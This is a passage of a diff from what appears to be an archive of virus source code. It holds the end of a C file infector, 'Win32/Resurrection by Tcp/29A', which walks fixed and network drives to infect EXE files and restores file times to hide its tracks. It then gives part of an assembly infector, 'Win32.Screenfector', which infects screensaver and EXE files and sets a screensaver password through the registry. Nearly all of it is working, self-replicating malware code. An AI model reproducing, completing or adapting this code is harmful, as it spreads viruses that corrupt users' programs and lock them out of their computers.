WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
|
||||
// Fill with zeros until file alignment
|
||||
memset(Relocations, 0, 0x1000);
|
||||
WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
|
||||
{
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);
|
||||
|
||||
// Patch Visual C 5.0 heap in .data section
|
||||
/*
|
||||
{
|
||||
DWORD * PtrHeap = &__small_block_heap;
|
||||
|
||||
if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
|
||||
&&
|
||||
((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
|
||||
)
|
||||
{
|
||||
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
|
||||
PtrHeap[3] = PtrHeap[2];
|
||||
PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
|
||||
}
|
||||
}
|
||||
*/
|
||||
// Do relocations in this section
|
||||
while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
|
||||
&&
|
||||
((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
|
||||
)
|
||||
{
|
||||
DWORD Base;
|
||||
|
||||
Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
|
||||
RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
|
||||
while (RelocsInBlock--)
|
||||
{
|
||||
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
|
||||
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
|
||||
}
|
||||
PtrReloc++;
|
||||
}
|
||||
RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
|
||||
RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
|
||||
PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
|
||||
}
|
||||
|
||||
// Check if this is the Import section
|
||||
if (i == VirusImportSection)
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR * Imports;
|
||||
IMAGE_THUNK_DATA * DataImports;
|
||||
DWORD StartImports;
|
||||
DWORD DeltaRVAs;
|
||||
|
||||
DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
|
||||
StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
|
||||
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
|
||||
while (Imports->OriginalFirstThunk)
|
||||
{
|
||||
// Fix some initialized fields in memory
|
||||
Imports->TimeDateStamp = Imports->ForwarderChain = 0;
|
||||
Imports->OriginalFirstThunk += DeltaRVAs;
|
||||
Imports->Name += DeltaRVAs;
|
||||
Imports->FirstThunk += DeltaRVAs;
|
||||
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
|
||||
do
|
||||
{
|
||||
DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
|
||||
}
|
||||
while ((++DataImports)->u1.AddressOfData);
|
||||
Imports++;
|
||||
}
|
||||
}
|
||||
|
||||
WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
|
||||
MEMFREE(Ptr);
|
||||
Ptr = NULL;
|
||||
}
|
||||
SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
|
||||
}//for
|
||||
|
||||
// Recalculate Header fields
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
|
||||
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
|
||||
PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
|
||||
PEHeader.OptionalHeader.SizeOfCode = 0;
|
||||
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
|
||||
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
|
||||
for (j=0; j<PEHeader.FileHeader.NumberOfSections; j++)
|
||||
{
|
||||
if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
|
||||
PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
|
||||
if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
|
||||
PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
|
||||
if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
|
||||
PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
|
||||
}
|
||||
// Write new header and section table
|
||||
SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
|
||||
WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
|
||||
WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
|
||||
}
|
||||
|
||||
L_Exit_Infect:
|
||||
// Free allocated memory
|
||||
if (HostRelocs != NULL)
|
||||
MEMFREE(HostRelocs);
|
||||
if (Relocations != NULL)
|
||||
MEMFREE(Relocations);
|
||||
if (Section != NULL)
|
||||
MEMFREE(Section);
|
||||
if (Ptr != NULL)
|
||||
MEMFREE(Ptr);
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////////
|
||||
// Recursively search for files to infect
|
||||
///////////////////////////////////////////
|
||||
void SearchFiles(char * Path)
|
||||
{
|
||||
HANDLE FindHandle;
|
||||
HANDLE FHandle;
|
||||
WIN32_FIND_DATA FindResult;
|
||||
FILETIME Time1, Time2, Time3;
|
||||
|
||||
if (SetCurrentDirectory(Path))
|
||||
{
|
||||
// Search for EXE files in current directory
|
||||
if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
FHandle = CreateFile(FindResult.cFileName,
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_ARCHIVE,
|
||||
NULL
|
||||
);
|
||||
if (FHandle != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
|
||||
InfectFile(FHandle); // Infect file
|
||||
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
|
||||
CloseHandle(FHandle);
|
||||
}
|
||||
}
|
||||
while (FindNextFile(FindHandle, &FindResult));
|
||||
}
|
||||
FindClose(FindHandle);
|
||||
// Now search for subdirectories and process them
|
||||
if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
char * DirName;
|
||||
|
||||
DirName = _strupr(_strdup(FindResult.cFileName));
|
||||
if (
|
||||
(memcmp(DirName, "SYSTEM", 6)) // Skip SYSTEM??
|
||||
&&
|
||||
(FindResult.cFileName[0] != '.') // Skip loops with "." and ".."
|
||||
)
|
||||
{
|
||||
SearchFiles(FindResult.cFileName);
|
||||
}
|
||||
free(DirName);
|
||||
}
|
||||
}
|
||||
while (FindNextFile(FindHandle, &FindResult));
|
||||
}
|
||||
FindClose(FindHandle);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////
|
||||
// Search fixed and network drives to infect
|
||||
/////////////////////////////////////////////
|
||||
DWORD WINAPI SearchDrives()
|
||||
{
|
||||
DWORD Drives;
|
||||
BYTE CurrentDrive[] = "A:\\";
|
||||
DWORD DriveType;
|
||||
BYTE i;
|
||||
|
||||
Drives = GetLogicalDrives();
|
||||
for (i=0; i<sizeof(DWORD); i++)
|
||||
{
|
||||
if (Drives & (1<<i)) // Drive present?
|
||||
{
|
||||
CurrentDrive[0] = 'A' + i;
|
||||
DriveType = GetDriveType(CurrentDrive);
|
||||
// Only infect files in Fixed and Network Drives
|
||||
if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
|
||||
{
|
||||
SearchFiles(CurrentDrive);
|
||||
}
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
///////////
|
||||
// Payload
|
||||
///////////
|
||||
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
|
||||
{
|
||||
char * Msgs[] =
|
||||
{
|
||||
"Hey you, stupid",
|
||||
"Win32/Resurrection by Tcp/29A",
|
||||
"Warning! Don't close this window",
|
||||
"I already told you this but..."
|
||||
};
|
||||
static int i = 0;
|
||||
|
||||
return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
|
||||
}
|
||||
|
||||
|
||||
// Simulated host for 1st generation
|
||||
void Gen1()
|
||||
{
|
||||
MyMessageBox(NULL, "", NULL, MB_OK);
|
||||
}
|
||||
|
||||
|
||||
// Virus Entry Point
|
||||
void main()
|
||||
{
|
||||
BYTE InfectedFile[_MAX_PATH];
|
||||
DWORD ThreadID;
|
||||
DWORD ThreadInfID;
|
||||
HANDLE HThread;
|
||||
HANDLE InfThread;
|
||||
int i;
|
||||
HMODULE * HandleDLL = NULL;
|
||||
int ImportedDLLs = 0;
|
||||
|
||||
|
||||
// Get the infected filename
|
||||
GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
|
||||
// And its memory address
|
||||
IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
|
||||
|
||||
IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);
|
||||
|
||||
if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
|
||||
{
|
||||
// Get ptr to Sections
|
||||
ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
|
||||
// Get ptr to virus Sections
|
||||
ISection += FirstVirusSection;
|
||||
|
||||
if (Generation++ == 1)
|
||||
{ // Make some easy 1st-gen calcs to avoid complex ones in next generations
|
||||
HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
|
||||
VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections
|
||||
// Get the order of sections
|
||||
for (i=0; i<VirusSections; i++)
|
||||
{
|
||||
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint)
|
||||
&&
|
||||
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint)
|
||||
)
|
||||
{ // This is the code section
|
||||
VirusCodeSection = i;
|
||||
VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress;
|
||||
}
|
||||
else
|
||||
{
|
||||
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
|
||||
&&
|
||||
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
|
||||
)
|
||||
{ // This is the import section
|
||||
VirusImportSection = i;
|
||||
VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
|
||||
{ // This is the reloc section
|
||||
VirusRelocSection = i;
|
||||
VirusRelocSize = ISection[i].Misc.VirtualSize;
|
||||
VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
}
|
||||
}
|
||||
}
|
||||
}//for
|
||||
}
|
||||
else // Not first generation
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR * HostImports;
|
||||
int i;
|
||||
|
||||
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
|
||||
// Count imported DLLs
|
||||
while (HostImports->OriginalFirstThunk)
|
||||
{
|
||||
ImportedDLLs++;
|
||||
HostImports++;
|
||||
}
|
||||
HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
|
||||
// Make host imports
|
||||
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
|
||||
for (i=0; i<ImportedDLLs; i++)
|
||||
{
|
||||
DWORD * FunctionName;
|
||||
DWORD * FunctionAddr;
|
||||
LPCTSTR Name;
|
||||
LPCTSTR StExitThread = "ExitThread";
|
||||
|
||||
if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL)
|
||||
{ // Exit if not find a DLL
|
||||
char StError[100];
|
||||
|
||||
MEMFREE(HandleDLL);
|
||||
sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader));
|
||||
MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
// Perform host imports
|
||||
FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
|
||||
FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader);
|
||||
while (*FunctionName)
|
||||
{
|
||||
if (*FunctionName & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress
|
||||
*FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
|
||||
}
|
||||
else
|
||||
{
|
||||
Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
|
||||
// Change ExitProcess by ExitThread
|
||||
if (!strcmp(Name, "ExitProcess"))
|
||||
Name = StExitThread;
|
||||
// Set payload
|
||||
if (!strcmp(Name, "MessageBoxA"))
|
||||
*FunctionAddr = (DWORD)&MyMessageBox;
|
||||
else
|
||||
*FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name);
|
||||
}
|
||||
FunctionName++;
|
||||
FunctionAddr++;
|
||||
}
|
||||
HostImports++;
|
||||
}
|
||||
}
|
||||
|
||||
HostEP += (DWORD)IDosHeader;
|
||||
// Exec host with a thread
|
||||
if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
|
||||
{
|
||||
HANDLE VirusMutex;
|
||||
|
||||
// Check if already resident
|
||||
if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL)
|
||||
&&
|
||||
(GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
)
|
||||
{
|
||||
// Create infection thread
|
||||
InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
|
||||
// Assign a low priority
|
||||
SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
|
||||
// Activate it
|
||||
ResumeThread(InfThread);
|
||||
// Wait until infection completed
|
||||
WaitForSingleObject(InfThread, INFINITE);
|
||||
ReleaseMutex(VirusMutex);
|
||||
}
|
||||
// Wait until host thread finnished
|
||||
WaitForSingleObject(HThread, INFINITE);
|
||||
}
|
||||
|
||||
for (i=0; i<ImportedDLLs; i++)
|
||||
{
|
||||
FreeLibrary(HandleDLL[i]);
|
||||
}
|
||||
if (HandleDLL != NULL)
|
||||
MEMFREE(HandleDLL);
|
||||
}
|
||||
}
|
1521
Win32/Win32.Rivanon.asm
Normal file
1521
Win32/Win32.Rivanon.asm
Normal file
File diff suppressed because it is too large
Load Diff
1809
Win32/Win32.RousSarcoma.asm
Normal file
1809
Win32/Win32.RousSarcoma.asm
Normal file
File diff suppressed because it is too large
Load Diff
1830
Win32/Win32.Rudra.asm
Normal file
1830
Win32/Win32.Rudra.asm
Normal file
File diff suppressed because it is too large
Load Diff
1342
Win32/Win32.Sabia.asm
Normal file
1342
Win32/Win32.Sabia.asm
Normal file
File diff suppressed because it is too large
Load Diff
1033
Win32/Win32.Savior.asm
Normal file
1033
Win32/Win32.Savior.asm
Normal file
File diff suppressed because it is too large
Load Diff
643
Win32/Win32.Screenfector.asm
Normal file
643
Win32/Win32.Screenfector.asm
Normal file
@ -0,0 +1,643 @@
|
||||
; Å-----------
|
||||
; Win32.Screenfector by MalFunction
|
||||
;
|
||||
; hi out there! this is my first little win32 infector. there's nothing
|
||||
; special at it, no new technique, no new way of infecting. yes, it is
|
||||
; a very poor coded direct action infector. :(
|
||||
; BUT: have you ever heard of mcafee's silly feature 'scanning while
|
||||
; the screensaver runs'?
|
||||
; this virus is the answer to that feature. an infected exe-file
|
||||
; will infect only scr-filez in the %windir% and %windir%\system directoriez.
|
||||
; an infected scr-file will create a new thread for infecting and then
|
||||
; immediately return to the host. the created thread infectz the whole
|
||||
; HD usin' a dir traversal. i know it's slow and makes the user
|
||||
; suspicious, but it's funny: a virus that infectz during the screensaver ...
|
||||
; -------Å
|
||||
; thanx 'n' greetz:
|
||||
; -----------------
|
||||
;
|
||||
; Wang_E: i'm sure that u'll have yer own OS one day.
|
||||
; thx for all da help, my friend!
|
||||
; BlackArt: yeah, I'm still codin' that trojan ...
|
||||
; Evil_Byte: Mittlerweile schon mal "Mirror, Mirror" von
|
||||
; Blind Guardian geh”rt? ;)
|
||||
; Benny/29A: all yer tutes in 29a#4 rox!
|
||||
; Lord Julus: vx-tasy#1 is one of the best ezines i have ever seen
|
||||
;
|
||||
;
|
||||
; compile with: tasm32.exe /m9 /ml screenf.asm
|
||||
; tlink32.exe /aa /Tpe /c /x screenf.obj,,,import32.lib
|
||||
; pewrite.exe screenf.exe
|
||||
;
|
||||
; (PEWrite is part of Lord Julus' VX-tasy#1)
|
||||
|
||||
|
||||
.386
|
||||
.model flat
|
||||
|
||||
extrn MessageBoxA:proc
|
||||
extrn ExitProcess:proc
|
||||
extrn GetProcAddress:proc
|
||||
extrn GetModuleHandleA:proc
|
||||
|
||||
.data
|
||||
dummy_title DB "senseless dummy prog v1.01",0
|
||||
dummy_msg DB "dummy prog carrying a little win32 infector...",0
|
||||
|
||||
.code
|
||||
|
||||
dummy:
|
||||
push 0 ; just a dummy ...
|
||||
push offset dummy_title
|
||||
push offset dummy_msg
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
v_size = v_end - v_start
|
||||
|
||||
v_start: ; gimme that delta
|
||||
call delta
|
||||
delta:
|
||||
pop ebp
|
||||
jmp over_var ; variables part I
|
||||
|
||||
filehandle DD ?
|
||||
maphandle DD ?
|
||||
mapaddr DD ?
|
||||
mapsize DD ?
|
||||
|
||||
keyhandle DD ?
|
||||
value1 DD 1
|
||||
|
||||
hmodule DD ?
|
||||
oldEIP DD ?
|
||||
filealign DD ?
|
||||
|
||||
k32name DB "KERNEL32",0
|
||||
advapiname DB "ADVAPI32",0
|
||||
procsfound DB 0
|
||||
|
||||
searchmask DB "*.SCR",0
|
||||
wildcard DB "*.*",0
|
||||
root DB '\',0
|
||||
nested DB 0
|
||||
dotdot DB "..",0
|
||||
|
||||
fnhandle DD ?
|
||||
fnhandle2 DD ?
|
||||
|
||||
threadID DD ?
|
||||
|
||||
_alloc DD ?
|
||||
|
||||
ptrGetProcAddress DD ?
|
||||
ptrGetModuleHandleA DD ?
|
||||
|
||||
filetype DB 'E'
|
||||
|
||||
_GetProcAddress DB "GetProcAddress",0
|
||||
_GetModuleHandleA DB "GetModuleHandleA",0
|
||||
|
||||
APIs:
|
||||
GetWindowsDirectoryA DD ?
|
||||
GetCurrentDirectoryA DD ?
|
||||
SetCurrentDirectoryA DD ?
|
||||
GetSystemDirectoryA DD ?
|
||||
GetCommandLineA DD ?
|
||||
GetSystemTime DD ?
|
||||
ExitThread DD ?
|
||||
CreateThread DD ?
|
||||
CloseHandle DD ?
|
||||
UnmapViewOfFile DD ?
|
||||
MapViewOfFile DD ?
|
||||
SetFileAttributesA DD ?
|
||||
CreateFileMappingA DD ?
|
||||
CreateFileA DD ?
|
||||
FindNextFileA DD ?
|
||||
FindFirstFileA DD ?
|
||||
VirtualAlloc DD ?
|
||||
LoadLibraryA DD ?
|
||||
|
||||
RegSetValueExA DD ?
|
||||
|
||||
over_var:
|
||||
DB 0b8h ; mov eax,imm32 ; save old EIP
|
||||
oldEIP2 DD offset dummy
|
||||
mov [ebp+oldEIP-delta],eax
|
||||
|
||||
DB 0b8h ; mov eax,imm32 ; trace to import table
|
||||
baseaddress DD 00400000h
|
||||
add eax,[eax+3ch]
|
||||
add eax,80h
|
||||
mov eax,[eax]
|
||||
add eax,[ebp+baseaddress-delta]
|
||||
import1:
|
||||
cmp dword ptr [eax],0 ; last import descriptor?
|
||||
jz quit
|
||||
|
||||
mov esi,[eax+0Ch]
|
||||
add esi,[ebp+baseaddress-delta]
|
||||
|
||||
lea edi,[ebp+k32name-delta] ; is it kernel32?
|
||||
push 2
|
||||
pop ecx
|
||||
rep cmpsd
|
||||
jz import2
|
||||
add eax,14h
|
||||
jmp import1
|
||||
|
||||
import2:
|
||||
mov ebx,[eax] ; search for the needed API
|
||||
mov edx,[eax+10h] ; addresses ...
|
||||
add ebx,[ebp+baseaddress-delta]
|
||||
add edx,[ebp+baseaddress-delta]
|
||||
|
||||
import3:
|
||||
cmp dword ptr [ebx],0
|
||||
jz no_more_imp
|
||||
|
||||
mov esi,[ebx]
|
||||
add esi,[ebp+baseaddress-delta]
|
||||
inc esi
|
||||
inc esi
|
||||
push esi
|
||||
|
||||
lea edi,[ebp+_GetProcAddress-delta] ; is it GetProcAddress?
|
||||
push 14
|
||||
pop ecx
|
||||
rep cmpsb
|
||||
jnz no_store1
|
||||
mov edi,[edx]
|
||||
mov [ebp+ptrGetProcAddress-delta],edi
|
||||
inc byte ptr [ebp+procsfound-delta]
|
||||
|
||||
no_store1:
|
||||
lea edi,[ebp+_GetModuleHandleA-delta] ; is it GetModuleHandleA?
|
||||
push 4
|
||||
pop ecx
|
||||
pop esi
|
||||
rep cmpsd
|
||||
jnz no_store2
|
||||
mov edi,[edx]
|
||||
mov [ebp+ptrGetModuleHandleA-delta],edi
|
||||
inc byte ptr [ebp+procsfound-delta]
|
||||
|
||||
no_store2:
|
||||
add ebx,4
|
||||
add edx,4
|
||||
jmp import3
|
||||
|
||||
no_more_imp:
|
||||
cmp byte ptr [ebp+procsfound-delta],2 ; both APIaddresses found?
|
||||
jnz quit
|
||||
mov byte ptr [ebp+procsfound-delta],0
|
||||
|
||||
lea eax,[ebp+k32name-delta] ; gimme k32 base
|
||||
push eax
|
||||
call [ebp+ptrGetModuleHandleA-delta]
|
||||
mov [ebp+hmodule-delta],eax
|
||||
|
||||
push 18
|
||||
pop ecx
|
||||
lea edi,[ebp+APIs-delta]
|
||||
lea esi,[ebp+ptr_table-delta]
|
||||
get_APIs: ; retrieve all needed APIz
|
||||
lodsd
|
||||
add eax,ebp
|
||||
sub eax,offset delta
|
||||
push ecx
|
||||
push edi
|
||||
push esi
|
||||
push eax
|
||||
push dword ptr [ebp+hmodule-delta]
|
||||
call [ebp+ptrGetProcAddress-delta]
|
||||
pop esi
|
||||
pop edi
|
||||
pop ecx
|
||||
test eax,eax
|
||||
jz quit
|
||||
stosd
|
||||
loop get_APIs
|
||||
|
||||
push 40h ; allocate 1000 bytes
|
||||
push 1000h
|
||||
push 1000
|
||||
push 0
|
||||
call [ebp+VirtualAlloc-delta]
|
||||
test eax,eax
|
||||
jz quit
|
||||
mov [ebp+_alloc-delta],eax
|
||||
|
||||
add eax,580 ; get system time
|
||||
push eax
|
||||
push eax
|
||||
call [ebp+GetSystemTime-delta]
|
||||
pop eax
|
||||
cmp word ptr [eax+4],0 ; sunday?
|
||||
jnz no_payload
|
||||
cmp word ptr [eax+6],7 ; 1st sunday of month?
|
||||
ja no_payload
|
||||
|
||||
lea eax,[ebp+advapiname-delta] ; load advapi32.dll
|
||||
push eax
|
||||
call [ebp+LoadLibraryA-delta]
|
||||
test eax,eax
|
||||
jz no_payload
|
||||
|
||||
push eax ; get RegOpenKeyExA address
|
||||
lea ebx,[ebp+_RegOpenKeyExA-delta]
|
||||
push ebx
|
||||
push eax
|
||||
call [ebp+ptrGetProcAddress-delta]
|
||||
|
||||
lea ebx,[ebp+keyhandle-delta] ; open the reg key
|
||||
push ebx
|
||||
push 001f0000h
|
||||
push 0
|
||||
lea ebx,[ebp+regkey-delta]
|
||||
push ebx
|
||||
push 80000001h
|
||||
call eax
|
||||
|
||||
pop eax ; get RegSetValueExA address
|
||||
lea ebx,[ebp+_RegSetValueExA-delta]
|
||||
push ebx
|
||||
push eax
|
||||
call [ebp+ptrGetProcAddress-delta]
|
||||
mov [ebp+RegSetValueExA-delta],eax
|
||||
|
||||
push 25 ; set screensaver pwd
|
||||
lea ebx,[ebp+value2-delta]
|
||||
push ebx
|
||||
push 3
|
||||
push 0
|
||||
lea ebx,[ebp+value2name-delta]
|
||||
push ebx
|
||||
push dword ptr [ebp+keyhandle-delta]
|
||||
call eax
|
||||
|
||||
push 4 ; enable screensaver pwd
|
||||
lea eax,[ebp+value1-delta]
|
||||
push eax
|
||||
push 4
|
||||
push 0
|
||||
lea eax,[ebp+value1name-delta]
|
||||
push eax
|
||||
push dword ptr [ebp+keyhandle-delta]
|
||||
call [ebp+RegSetValueExA-delta]
|
||||
|
||||
no_payload:
|
||||
mov eax,[ebp+_alloc-delta] ; get current dir
|
||||
add eax,320
|
||||
push eax
|
||||
push 260
|
||||
call [ebp+GetCurrentDirectoryA-delta]
|
||||
|
||||
cmp byte ptr [ebp+filetype-delta],'E' ; is an EXE or a SCR executed?
|
||||
jnz screen_save
|
||||
|
||||
its_exe:
|
||||
mov dword ptr [ebp+searchmask+1-delta],'RCS.' ; set for findfile
|
||||
mov byte ptr [ebp+filetype-delta],'S'
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; infect windoze dir
|
||||
push eax
|
||||
push 320
|
||||
push eax
|
||||
call [ebp+GetWindowsDirectoryA-delta]
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
call infect_dir
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; infect windoze\system dir
|
||||
push eax
|
||||
push 320
|
||||
push eax
|
||||
call [ebp+GetSystemDirectoryA-delta]
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
call infect_dir
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; go to old dir
|
||||
add eax,320
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
|
||||
quit:
|
||||
jmp [ebp+oldEIP-delta] ; jmp to host
|
||||
|
||||
screen_save:
|
||||
mov dword ptr [ebp+searchmask+1-delta],'EXE.' ; set for findfile
|
||||
mov byte ptr [ebp+filetype-delta],'E'
|
||||
|
||||
call [ebp+GetCommandLineA-delta] ; get CommandLine
|
||||
mov edi,eax
|
||||
xor eax,eax
|
||||
get_end:
|
||||
scasb
|
||||
jnz get_end
|
||||
|
||||
cmp byte ptr [edi-2],'s' ; was the parameter /s ?
|
||||
jz run_it ; (we don't want to infect
|
||||
cmp byte ptr [edi-2],'S' ; when scr is configurated)
|
||||
jz run_it
|
||||
jmp quit
|
||||
|
||||
run_it:
|
||||
mov [ebp+save_ebp-delta],ebp ; save EBP for new thread
|
||||
|
||||
lea eax,[ebp+threadID-delta] ; create the infection thread
|
||||
push eax
|
||||
push 0
|
||||
push 0
|
||||
lea eax,[ebp+myThread-delta]
